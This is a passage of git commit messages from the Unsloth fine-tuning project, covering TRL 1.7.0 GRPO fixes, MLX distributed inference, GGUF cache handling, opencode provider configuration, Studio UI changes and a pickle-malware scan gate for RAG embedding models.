Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Fix PEFT replacement for TRL >= 1.7.0, add missing compute_aux_loss for TRL 1.7.0
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix GRPO for TRL >= 1.7.0: PEFT ref-adapter removal and return arity
rl.py: for trl >= 1.7.0, scope the PEFT removal regex to the ref-adapter
block only by anchoring the end on ref_param.data.copy_(param.data), so it
no longer also deletes the following gradient-checkpointing
enable_input_require_grads() block. Neutralize TRL 1.7.0's
`if _is_quantized_model:` bf16 cast the same way the existing
is_loaded_in_4bit cast is handled.
rl_replacements.py: initialize _extra_moe_kwargs before use (it was
referenced before assignment whenever compute_aux_loss was passed) and only
request output_router_logits when the aux loss is actually wanted.
rl_replacements.py: _get_per_token_logps_and_entropies now returns a 3-tuple
(logps, entropies, aux_loss) for trl >= 1.7.0 and a 2-tuple for older TRL,
matching how every TRL call site unpacks the result. Without this, TRL 1.7.x
_generate_and_score_completions unpacks 3 values from a 2-tuple and raises
"not enough values to unpack (expected 3, got 2)".
* Return zero aux_loss placeholder and drop inference-mode aux collection
* GRPO TRL >= 1.7.0: reject router aux-loss opt-in at init; drop zero aux placeholder
Unsloth's optimized GRPO forward cannot compute the MoE router auxiliary loss.
Previously an explicit opt-in (router_aux_loss_coef > 0) returned a fabricated
zero, silently training without the requested load-balancing penalty. Now reject
it at trainer init with a clear NotImplementedError, and return None (not zero)
for the aux slot of TRL's 3-tuple. Default stays off (coef 0), so the common
path is unaffected.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO hidden-states fallback: free ModelOutput before chunked log-softmax
The old/ref logprob fallback binds the full ModelOutput (which holds every
layer's hidden_states when output_hidden_states=True) and kept it alive across
chunked_hidden_states_selective_log_softmax, an avoidable OOM on large models.
Extract logits then del outputs in both the text and VLM branches.
* Version-compat CI: proactively catch TRL GRPO breakage
The existing TRL canary is a static symbol/source grep: it verifies symbols
exist but is blind to structural changes (TRL 1.7.0's 2->3-tuple per-token-logps
return arity and restructured PEFT ref-adapter block, which the fix in this PR
addresses, both slipped past it because the methods still existed).
Two additions:
- test_trl_grpo_pinned_symbols.py: extend TRL_TAGS to 1.5/1.6/1.7 and pin the
exact source-string contracts the rl.py / rl_replacements.py transforms depend
on for TRL >= 1.7.0 (PEFT elif ref-adapter block + enable_input_require_grads
survival, if _is_quantized_model, aux_loss_enabled anchor, compute_aux_loss
arity). A future TRL change fails on main a few days before the PyPI release.
- test_trl_grpo_fake_run.py + a version-compat-ci job: fake-CUDA run that drives
the real GRPO/SFT/DPO source-transform patchers against latest + main TRL on a
CPU-only runner (no training) and asserts the generated Unsloth trainer still
satisfies the transform contracts. Catches behavioral regressions the grep
cannot see.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fake-run test: use a normal Version import for the aux gate
* version-compat CI: fix fake-run job gate + torch-absent collection
- Drop the invalid job-level matrix if (matrix is not available in
jobs.<id>.if -> 'Unrecognized named-value: matrix' fails the whole
workflow). Use a single job that runs vs TRL latest always and re-runs
vs TRL main only on schedule/dispatch via a step-level github.event_name
guard. Validated with actionlint.
- Module-level skip the fake-run test when torch is absent so
daily-fresh-fetch (pytest-only, collects tests/version_compat/) does not
crash on the top-level spoof import.
* fake-run test: do not skip on import failure
unsloth/trl are installed in the grpo-fake-run job, so a failing import is the
import-time drift this canary must catch. Keep only the not-installed find_spec
skips; let a real import error fail the test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO arity gate: regex downgrade + fail loud + CI coverage
The TRL < 1.7.0 per-token-logps return downgrade was an exact-string replace
anchored on the full return line incl. its comment, so a reformat (e.g.
pre-commit) could silently no-op it and ship a 3-tuple to older TRL. Switch to
a regex tolerant of comment/whitespace drift, and raise if the anchor stops
matching (re.subn count != 1) instead of failing silently. Add a monkeypatched
trl_version unit test asserting both arities, since CI only installs TRL >= 1.7.0
and never exercised the downgrade otherwise.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fake-run: give SFT/DPO a real contract, not just ast-parse
The SFT/DPO fake patch runs only checked the generated trainer parses. Also
assert the shared QLoRA _is_quantized_model bf16 cast is neutralized (TRL 1.7's
spelling, present in both sft_trainer and dpo_trainer), so a structural TRL
change to that block is caught for SFT/DPO too, not just GRPO.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO PEFT ref-adapter removal: lower gate to the TRL 1.4.0 floor
The elif is_peft_model(model) and args.beta != 0.0: ref-adapter block was
introduced in TRL 1.4.0 and is unchanged through 1.7.x, but the removal was
gated at >= 1.7.0, so for 1.4 <= TRL < 1.7 the transform fell through to the
0.27 branch (which matches the older if is_peft_available()... form) and
silently no-oped: a PEFT + beta != 0 GRPO run then computed the KL reference
from the copied ref adapter instead of the base model. Lower the gate to
1.4.0 and keep the 1.7.0-only router aux-loss fail-fast nested. Widen the
pinned-symbol contract test to run from 1.4.0 so the covered versions are
actually exercised.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* feat(cli): detect MLX distributed launch context
* feat(mlx): wire distributed inference backend
* feat(cli): broadcast MLX distributed chat turns
* fix(cli): wait indefinitely for distributed chat turns
* fix(cli): report MLX distributed load errors cleanly
* fix(mlx): route distributed vlm through loader
* fix(cli): detect inline MLX host JSON
* fix(studio): harden distributed object sharing
* fix(studio): select JACCL distributed backend
* fix(cli): abort distributed error paths
* Distinguish real stream errors from model text via GenStreamError in distributed CLI
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fail loud when MLX distributed init returns a singleton group
The worker only reaches this block when distributed was explicitly
requested. A singleton (size 1) group means the launch failed to form a
real group (MLX built without distributed support, or an invalid launch
env/hostfile); silently continuing leaves nonzero ranks looping forever
on share_distributed_object. Raise instead so the surrounding handler
returns a clear load error.
* Tighten MLX distributed inference comments
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* feat(studio): route CLI trainer to MLX backend
* fix(studio): harden MLX trainer routing
* fix(studio): harden MLX trainer adapter routing
* test(studio): assert MLX CLI activation order
* fix(studio): address MLX CLI review feedback
* feat(cli): support MLX in legacy script
* fix(cli): adapt MLX tokenizer for raw text
* fix(cli): omit unsupported MLX eval batch arg
* fix(cli): feed raw text to MLX trainer
* Fix CLI MLX routing and Python 3.9 annotations
Route the MLX backend through create_mlx_trainer_adapter so the torch-free
Apple Silicon path never imports trainer.py (torch/unsloth/trl). Replace
from __future__ import annotations with typing.Optional/Union so the CLI
annotations stay Python 3.9 compatible without the unused-import lint hit.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Strip return_tensors from MLX raw-text tokenizer proxy
On a torch-free MLX install, RawTextDataLoader calls the tokenizer with
return_tensors='pt'; the callable proxy forwarded that to the HF
tokenizer, which tried to build torch tensors and failed before
training. Drop return_tensors so the MLX path returns plain token ids.
* Tighten CLI MLX-backend comments
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: fix link, currency and indentation edge cases in LaTeX rendering
Follow-up to #6914. Three fixes to studio/frontend/src/lib/latex.ts:
- Skip reference-link definition URLs ([id]: url) during delimiter
conversion, so escaped parens in such URLs are not rewritten as math.
- Preserve the opener line's indentation when emitting a display $$ block,
so a \[...\] inside a list item stays part of the list.
- Stop a currency amount from pairing with a converted span's opening $,
which swallowed the price into math (for example $5 + x \(y\)).
* Exclude GFM footnote definitions from the reference-URL skip
A footnote definition like [^1]: \(x\) had its body treated as a link
destination, so leading math was left literal. Skip [^...] labels.
* Merge overlapping link destination regions
A reference-def token can nest inline-link spans (for example
[1]: http://h/[a](b)/foo\(x\)), so the combined spans could overlap and
isInRegion's binary search missed the outer one, rewriting the URL. Merge
overlapping spans before the search.
* Guard lineStart when the display opener is at index 0
Behavior is unchanged (lastIndexOf clamps a negative fromIndex to 0), but
the explicit guard avoids relying on that implicit clamp.
* Scope to indentation and currency fixes
Drop the reference-link URL protection added earlier. It guards a case
models effectively never emit (escaped parens in a reference-style URL),
and approximating CommonMark reference definitions with a regex needs
open-ended special-casing. Keep the two high-value fixes: preserve display
math indentation (including multi-line bodies) inside a list item, and stop
a currency amount from pairing with a converted span's opening dollar sign.
* Studio: show Hugging Face address on hover for Hub and online model rows
The model selector already shows an on-disk path tooltip on local rows,
but Hub and online rows showed only the bare repo id, and nothing at all
when there was no VRAM estimate. Add an optional hubUrl prop and a
hubRepoUrl helper that mirrors localPathTooltip, and surface
huggingface.co/<repo_id> on hover for the Discover, search, and
downloaded Hub rows. Local and VRAM tooltips are unchanged; the VRAM
tooltip now also appends the address line.
Closes#6382
* Studio: use a 700ms hover delay before the model-row tooltip
Give the model-row hover tooltip (the Hugging Face address, plus the VRAM
and local-path lines it shares) a 700ms open delay instead of showing it
instantly, so it does not flash while sweeping the mouse down the list.
* Fix/adjust GGUF tooltips for PR #6928
---------
Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
* fix: handle case-variant GGUF cache hits for unsloth start
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gguf cache: keep split shards co-located and isolate cache tests properly
When a cached main shard was reused from an older snapshot, the extra shards
were resolved independently and could come from a different snapshot dir (or a
fresh download into the current ref), leaving llama.cpp unable to load a
multi-shard GGUF whose pieces are split across directories. Only reuse a cached
main shard when every sibling shard sits in the same snapshot; otherwise fetch
the whole set together so they stay co-located.
Also patch huggingface_hub.constants.HF_HUB_CACHE (not just the HF_HUB_CACHE env
var) in the two cache tests that seeded a temp cache: the snapshot lookup reads
the module constant, so the env-only override let the real cache leak in and
skip an asserted download.
* Do not let a companion-only cache snapshot shadow real GGUF variants
When listing GGUF variants from the local HF cache, a newer snapshot may
contain only a companion file (for example a vision projector fetched on
demand) while the actual quant files live in an older snapshot. The prior
scan returned the first snapshot whose vision flag was set, yielding an
empty variant list and hiding the real quants. Keep scanning older
snapshots for actual variants and carry the vision flag across snapshots.
Also record the disk-space fallback variant's size in expected_sizes so
the later cache-reuse probe can size-verify the fallback main shard
instead of only checking for its existence.
* Propagate cached repo casing to companions and preflight split co-location
Two fixes to the case-variant GGUF cache reuse:
- Resolve the requested repo id to its cached canonical casing once in
load_model, up front, and pass it to the main GGUF and its companions
(mmproj / MTP drafter). Previously only _download_gguf resolved the
casing internally, so a case-variant request loaded the main file from
the canonical cache dir while the companions kept the requested casing
and missed the cached vision projector / drafter offline. Extracted the
resolution into a shared _resolve_repo_id_casing helper.
- Apply the split-shard co-location check in the disk-space preflight. When
a split GGUF's shards are cached across different snapshots the whole set
is refetched later, so counting them as cached made the preflight read 0
bytes to download, skip the smaller-variant fallback, and then fail the
full download on a low-disk machine.
* Reuse a co-located split GGUF snapshot and fix split fallback size probe
- When reusing a cached split GGUF, scan snapshots for one that holds the
whole set co-located instead of taking the newest snapshot's first shard.
A newer snapshot with only the first shard no longer shadows an older
complete snapshot, so an already-cached split model is reused rather than
refetched (which would fail offline).
- The disk-space fallback records its size in expected_sizes only for a
single-file fallback. _find_smallest_fitting_variant returns the whole
variant size, so using it as the first shard's expected size rejected a
valid cached first shard of a split fallback and forced a re-download.
* Scan for a complete split snapshot in the preflight; require a loaded catalog hit
- The disk-space preflight now uses the same co-located snapshot scan as the
download path (_cached_colocated_split_main) instead of the newest-snapshot
probe, so a newer snapshot holding only the first shard no longer masks an
older complete one and trips the smaller-variant fallback for a fully cached
split model.
- _resolve_model only attaches to a /v1/models entry that is actually loaded
(loaded != False). /v1/models also lists cached-but-unloaded catalog entries,
and matching one by case skipped /api/inference/load and left the agent
pointed at a model that is not resident.
* Restrict cross-snapshot GGUF cache reuse to offline
Reusing a same-name blob from an older or case-variant snapshot bypasses the
Hub revision/etag check, so a repo that updates a GGUF in place could serve
stale weights online. Gate the cross-snapshot and case-variant reuse (both the
disk-space preflight accounting and the download path) on HF_HUB_OFFLINE.
Online, hf_hub_download fetches the current revision and resumes a partial
download, so the reuse is unnecessary there; offline it remains the resilience
fallback. Marked the two reuse regression tests as the offline scenarios they
represent and added an online test asserting a fresh fetch.
* Harden offline cache reuse and hub-id detection
Three follow-ups on the case-variant GGUF cache path:
- Honor every truthy HF_HUB_OFFLINE spelling (1/true/yes/on), not just "1", when
gating the cross-snapshot and case-variant cache reuse. With HF_HUB_OFFLINE=true
the Hub calls are already offline, so the reuse must trigger or the cached GGUF
fails to load; route both the preflight accounting and the download path through
the same offline parse the rest of the backend uses.
- Resolve mmproj/MTP companions from the actual cached snapshot when offline.
resolve_cached_repo_id_case can keep a partial lower-case spelling when any dir
exists under the requested casing, so an hf_hub_download on that casing misses the
canonical companion; scan every case-variant snapshot and return the cached path.
- Restrict the case-insensitive model-id match to syntactically valid hub ids
(a single namespace/name over the HF charset). A server-side relative path such
as models/Llama/Foo.gguf is no longer treated as a hub id, so it cannot
casefold-match a differently cased path on a case-sensitive filesystem. This is
host independent, unlike the local-existence probe which cannot see a server path.
* Only casefold-match model ids against a loopback Studio
A two-segment string like Models/Foo is indistinguishable from a hub id, and the
local Path.exists() probe in _is_hub_model_id cannot see a path that exists only
on a remote Studio host. So against a remote server, casefolding could attach to
a distinct server-side path (Models/Foo vs models/foo) on a case-sensitive
filesystem. Gate the case-insensitive match on is_loopback_url(base): only a
local Studio, where the existence probe is authoritative, casefolds. For a remote
Studio the match is exact and a case-mismatched request falls through to
/api/inference/load, whose already-loaded dedup resolves it correctly.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
* Studio: heal DiffusionGemma tool calls into structured tool_calls
* Fall back to supports_tools for backends without the passthrough capability
* Route DiffusionGemma client tools through passthrough when enable_tools is on
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop orphaned strip_tool_call_markup import after syncing with main
* Tighten supports_tool_passthrough comment
* Re-run CI on current main
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* fix: use Windows Hermes installer from unsloth start
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Skip the Hermes setup wizard during unattended start-install
unsloth start hermes auto-installs Hermes and then writes its own
session-scoped Hermes config. The install commands, as written, drop into
the installer's interactive setup wizard (hermes setup), which prompts for
global API keys and model choice and points the user at a different global
provider than the one Unsloth just configured, blocking the launch.
Pass the installer's skip flag on both platforms: the PowerShell scriptblock
form with -SkipSetup, and bash -s -- --skip-setup for the piped POSIX
installer.
* Refresh PATH from the registry after a Windows agent install
A Windows installer persists the agent's directory to the User/Machine PATH
in the registry and updates only its own process, so the current process
keeps a stale PATH until it restarts (the installers print 'restart your
terminal'). The post-install shutil.which then misses the just-installed
agent and unsloth start fails with 'installed but isn't on PATH yet',
forcing a re-run in a new shell.
Merge the registry PATH hives back into the process before re-resolving so a
freshly installed agent launches in the same invocation. No-op off Windows
and on any read error; only ever augments PATH.
* Fix/adjust PATH refresh for PR #6903
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
* fix: force Unsloth provider selection for opencode
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* opencode: pin the model without clobbering the user's disabled providers
The session overlay wrote disabled_providers unconditionally and the inline
OPENCODE_CONFIG_CONTENT set disabled_providers to an empty list. Since that
inline layer outranks the user's global and project config and opencode
replaces the array rather than merging it, every provider the user had
disabled was silently re-enabled for the session. Only strip 'unsloth' from an
existing disable list, and drop disabled_providers from the inline config.
Also insert --model only on a bare launch: it is a global flag for the TUI, so
placing it before a passthrough subcommand (serve/run) breaks arg parsing; a
subcommand takes the model from the pinned config instead. Parse the printed
OPENCODE_CONFIG_CONTENT with shlex.split in the test so it round-trips under
POSIX shell quoting.
* Re-enable a globally disabled opencode unsloth provider for the session
A fresh OPENCODE_CONFIG overlay omits disabled_providers, and opencode
replaces that array across config layers only when a higher layer sets the
key, so a user's global disabled_providers of ['unsloth', ...] survived the
merge and left the session provider disabled even though the overlay defines
provider.unsloth and pins the model.
Consult the user's global opencode config (XDG_CONFIG_HOME/opencode, or
%APPDATA%/opencode on Windows) when the overlay has no list of its own, and
when the effective list disables unsloth write it back to the overlay minus
unsloth. The provider loads while the user's other disabled providers stay
disabled. Best-effort read: a missing or unparseable global config is a
no-op.
* Override opencode disabled_providers in the inline layer; keep model flag for TUI flags
Re-enabling a disabled unsloth provider now rides in the inline
OPENCODE_CONFIG_CONTENT layer instead of the session overlay. The overlay
sits below a project opencode.json, which could re-disable the provider; the
inline layer outranks both global and project configs and is recomputed each
run, so no-launch reruns never reuse a stale generated list. The effective
disabled list is read from the project config if the repo sets one, else the
global config, across config.json/opencode.json/opencode.jsonc (JSONC
tolerated), and written back minus unsloth only when unsloth is disabled.
Also keep the pinned --model when the opencode passthrough starts with a
top-level TUI flag such as --dir or --continue; only a real subcommand
(serve/run/...) takes the model from config, so a leading '-' now still gets
--model injected.
* Discover the opencode project config by walking up from the cwd
opencode finds a project config by searching ancestor directories, not just
the cwd. Walk from the cwd up to the filesystem root and use the nearest
directory that sets disabled_providers, so running unsloth start opencode
from a subdirectory of a repo whose root config disables unsloth still gets
the inline override.
* Only inject opencode --model on a bare launch; rely on the inline model pin
Injecting --model whenever the passthrough started with a flag could place it
before a subcommand (e.g. opencode --print-logs serve), which opencode can
misparse. --model is unnecessary for any passthrough because the inline
OPENCODE_CONFIG_CONTENT pins the model in the highest-priority layer, so the
session model is forced without the flag. Restrict --model to the bare launch
and pass any other invocation through untouched.
* Register the session provider under a dedicated OpenCode id
Selecting the Unsloth model reliably required the wrapper to re-enable a
user-disabled unsloth provider, which meant reconstructing OpenCode's full
disabled_providers resolution (global, OPENCODE_CONFIG overlay, project config
discovered via --dir or an ancestor walk, .opencode directories,
OPENCODE_CONFIG_DIR, config.json/opencode.json/opencode.jsonc precedence, and
{env:} variable substitution) and overriding it in the inline layer. That is
unbounded and cannot be kept correct.
Register the session provider under a dedicated id (unsloth-studio) instead. A
user's disabled_providers list would never target it, so the session model is
always selectable and the overlay no longer reads or writes disabled_providers
at all: the user's own disables, in whatever config layer, are left exactly as
they are. This removes the JSONC parser, the config-directory scan, and the
ancestor/global resolution helpers, and the tests that exercised them.
* Scope the opencode session to the Studio provider
opencode filters every provider, including a config-defined custom one, through
its enabled_providers allowlist and disabled_providers denylist, and pinning the
model does not bypass that gate (a filtered provider resolves to a not-found
error). The provider arrays are also replaced, not merged, across config layers.
So a user with an enabled_providers allowlist that omits the session provider
would still have the Studio model filtered out.
Set enabled_providers to just the session provider and clear disabled_providers
in the inline OPENCODE_CONFIG_CONTENT overlay (the highest-priority layer, which
replaces these arrays). This guarantees the Studio model loads regardless of the
user's provider filters, without reading or reconstructing their multi-layer
config. It is session-only: the overlay lives in the env for this launch and
never touches the user's config files, so their normal opencode is unchanged and
only this session is limited to the Studio provider.
Also drop the redundant --model on --no-launch so the printed command stays
append-safe for drivers that append a subcommand (the inline pin forces the
model), and parse both POSIX and PowerShell no-launch output in the opencode
tests so they are not shell-specific.
* Pin opencode small_model to the session provider
The session allowlists only the Studio provider, but opencode's separate
small_model (used for lightweight tasks) could still point at another provider
from the user or project config; under the allowlist that provider is filtered,
so the lightweight task would resolve a not-found error mid-session even with the
main model pinned. Pin small_model to the session model in the same inline
overlay so every model use stays on the enabled provider. The session serves one
model, so it is the only valid target, and this stays session-only like the rest
of the overlay.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
* Move New badge to System settings tab
Show the "New" badge on the System tab and drop it from Connections.
* Stabilize refresh revocation UI test
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Polish assistant message actions menu
Use the circle question mark (HelpCircleIcon) for the "See response
details" action instead of the file-database icon, and lowercase the
"Export as markdown" label.
* Align response details sheet icon
* Speed up Studio startup path
* Studio: recheck managed binary executability on preflight cache hit and ignore stale unauthenticated platform fetches
Preflight: a matching capability cache fingerprint no longer skips the
runnability check when the managed binary's executable bit was cleared
(size and mtime unchanged, since chmod bumps ctime not mtime). The cache
fast path now confirms the binary is still executable, otherwise it falls
back to the CLI help probe so preflight reports Stale and can repair,
instead of returning Ready and failing later at backend start. Adds a
regression test.
Frontend: now that first render is no longer gated on fetchDeviceType,
the initial unauthenticated health call can resolve after an
authenticated platform fetch. Guard the store so a late unauthenticated
or failed non-forced response cannot overwrite an already authoritative
device type, tunnel URL, or secure flag. Forced refreshes and the first
unauthenticated load are unaffected.
* Studio: use access(X_OK) for the preflight cache executability guard
A mode bitmask treats any execute bit as launchable, but the executable
bits can be set only for another owner or group, or be denied by an ACL,
so the current user could still hit PermissionDenied at launch and the
cached fast path would wrongly return Ready. access(X_OK) checks real
executability for the calling user, so an ownership or permission change
correctly falls back to the CLI help probe and the Stale repair path.
* Studio: ignore any stale non-forced platform fetch once authoritative
Extend the platform store guard so a non-forced health response never
overwrites an already authoritative result, not only unauthenticated
ones. With a saved token the post-render non-forced request can be
authenticated but older than a later forced refresh that already picked
up the tunnel URL and secure flag; if that earlier request resolves last
it would null those fields. Now any non-forced response is dropped once
the store holds a server-reported platform. Forced refreshes and the
first authoritative write are unaffected.
* Studio: run the managed CLI help probe before trusting the preflight cache
Restore running the managed CLI help probe before returning Ready from
the desktop capability cache, so a managed install whose venv interpreter
or a runtime dependency is broken (while path, size, mtime, and markers
are unchanged) is reported Stale for repair rather than proceeding to a
backend start that cannot spawn. The capability cache still skips the
heavier desktop-capabilities probe on a hit, so a warm cache runs one
probe instead of two. Removes the executable-access shortcut, which the
help probe now subsumes.
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* fix: match qwen3-thinking chat template double-newline in response pattern
The Qwen3-thinking chat template generates `<think>\n\n` (double newline)
after the think tag, but `train_on_responses_only` was looking for
`<think>\n` (single newline).
`\n\n` is token 271 while `\n` is token 198 -- different tokens, so the
pattern match in `train_on_responses_only` fails, masking ALL tokens and
dropping 100% of training samples.
Update the response pattern from `<think>\n` to `<think>\n\n` to match
what the actual qwen3-thinking template generates.
Fixes#6919
* fix qwen3 thinking response marker
---------
Co-authored-by: Ayushman Paul <ayushman@HP>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
* show chat by by last activity
* Update chat thread updated_at logic and enhance sidebar chat item handling
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: account for DeepSeek-V4 compute buffer in context auto-fit
DeepSeek-V4-Flash's lightning indexer plus compressed sparse attention reserve a
large context-scaling compute buffer that _compute_buffer_ctx_bytes did not model
(the KQ-mask and dequant-scratch rates both miss it, even with an f16 cache).
Measured on UD-Q4_K_XL at ub 512 it is about 65.5 GiB at 1M context, which the
mask estimate puts near 1.5 GiB, so the auto-fit kept the full 1M train context
and llama-server OOM'd allocating the ~70 GB buffer, then spilled to CPU (~4
tok/s). Add a deepseek4-gated flat plus per-token term so the fit caps the context
(about 256k on a B200) and the model stays fully on GPU.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: add assistant response details panel
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Hide model badge by default, show on hover/focus
Wrap MessageResponseModelBadge in a span with hidden/group-hover visibility classes to reduce visual clutter. The badge now only displays when hovering or focusing on the assistant message, improving the UI presentation. Updated corresponding tests to verify the new CSS classes.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Add DeepSeek-V4-Flash-GGUF to Studio with none/high/max reasoning
Adds unsloth/DeepSeek-V4-Flash-GGUF as a default selectable model with the
recommended decoding defaults (temperature 1.0, top_p 1.0 from the official
generation_config.json) and its three tier reasoning control. The high/max
ladder is surfaced for deepseek-v4 model ids and flows through the existing
enable_thinking_effort reasoning style via chat_template_kwargs, so no
frontend changes are needed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio DeepSeek-V4: segment-scope high, enable thinking for lone effort, render tests
Match deepseek-v4 on whole repo-name segments so a future deepseek-v40 or
deepseek40 cannot false-match the synthetic 'high'. In _request_reasoning_kwargs,
emit enable_thinking when a named effort level is sent without it, so the
newly exposed High mode renders thinking-on over the API (the UI already sent
it explicitly). Add a none/high/max render-path test file (jinja behind
importorskip) with a lone-high regression.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
TRL 1.7.0 enables the MoE router load-balancing aux loss by default
(router_aux_loss_coef = 0.001). Unsloth's optimized GRPO forward does not
compute it, so default the coefficient to 0, matching pre-1.7.0 behaviour.
Users can still opt in with router_aux_loss_coef > 0. No-op on TRL < 1.7.0.
* Add RDNA 2/3/4 ROCm routing tests via a CPU-only torch spoof
Introduces tests/_zoo_rocm_spoof.py, the ROCm sibling of _zoo_aggressive_cuda_spoof.py: it reuses the CUDA spoof's torch.cuda no-op machinery and overlays an AMD Radeon identity (torch.version.hip, gcnArchName, capability) for any RDNA 2/3/4 gfx target, so hip code paths run on CPU-only CI with no AMD hardware.
tests/studio/install/test_rocm_rdna_routing.py then asserts unsloth_zoo routes every RDNA arch (gfx1030/1031/1032/1034, gfx1100/1101/1102, gfx1150/1151, gfx1200/1201) correctly: device_type resolves to hip, llama.cpp target resolves to (rocm, gfx), and the per-family ROCm bundle suffix (gfx103X/gfx110X/gfx120X, or self for gfx1150/1151) is picked. The torch-facing checks run in a subprocess so the spoof never leaks into sibling tests and DEVICE_TYPE (cached at import) resolves from a clean process; the pure gfx-family mapping runs in-process. Guarded by importorskip so it runs where torch and unsloth_zoo are installed (the Repo tests CPU job) and skips elsewhere.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Run the malware gate on the RAG embedding model before it loads
Setting the RAG embedding model through PUT /api/settings/embedding-model
persisted an arbitrary repo and later handed it straight to
SentenceTransformer, which deserializes pickle weights. Unlike the normal
model-load paths, this route never ran evaluate_file_security, and force
skipped verification entirely, so a repo Hugging Face flags as unsafe (or
any repo under force) could be downloaded and loaded in the backend
process without a scan.
Run the malware/pickle scan at both ends: the settings endpoint now scans
before persisting and returns 409 on a flagged repo even under force
(force still only skips the is-embedding-model type check for offline or
local repos), and the embedder scans again at the load sink so a name that
arrives via env or default is covered too. Local paths and unreachable
scans fail open inside evaluate_file_security, and the sink never bricks
the embedder on a gate error.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Thread the load token into the embedding scan and hard-fail on a block
The load-sink scan ran without a token, so evaluate_file_security (which
passes token=False when none is given) could not reach a gated or private
repo and failed open for exactly the model SentenceTransformer would still
load. Resolve the loader's own token (HF_TOKEN env or the cached login)
and pass it to the sink scan, and fall back to it in the settings endpoint
when the request omits one.
The sink previously raised a plain RuntimeError, which the llama-server
fallback in encode() and _build_st_backend_or_fallback() swallowed as a
routine ST failure, silently switching backends instead of blocking. Raise
a distinct UnsafeEmbeddingModelError that both fallback paths re-raise, so
a flagged model hard-fails.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scan sentence-transformers module dirs and scope the embedding pickle gate to the ST backend
Extend the RAG embedding malware gate so a poisoned pickle under a SentenceTransformer
module dir (for example 0_Transformer/pytorch_model.bin) blocks. Those dirs are read
from the repo's modules.json and passed as load roots to evaluate_file_security at both
the settings endpoint and the load sink, so such a pickle is treated as root-level there
instead of an unreferenced nested shard that was previously allowed.
Scope the ST pickle scan to the sentence-transformers backend. On the llama-server
backend the embedder loads GGUF files (inert) from the -GGUF companion repo, never the
ST repo's pickle, so a custom ST repo with a flagged pickle and a clean GGUF companion
is no longer rejected. The existing GGUF availability checks already cover that path.
Return 403 for the hard security block instead of 409. The settings UI routes every 409
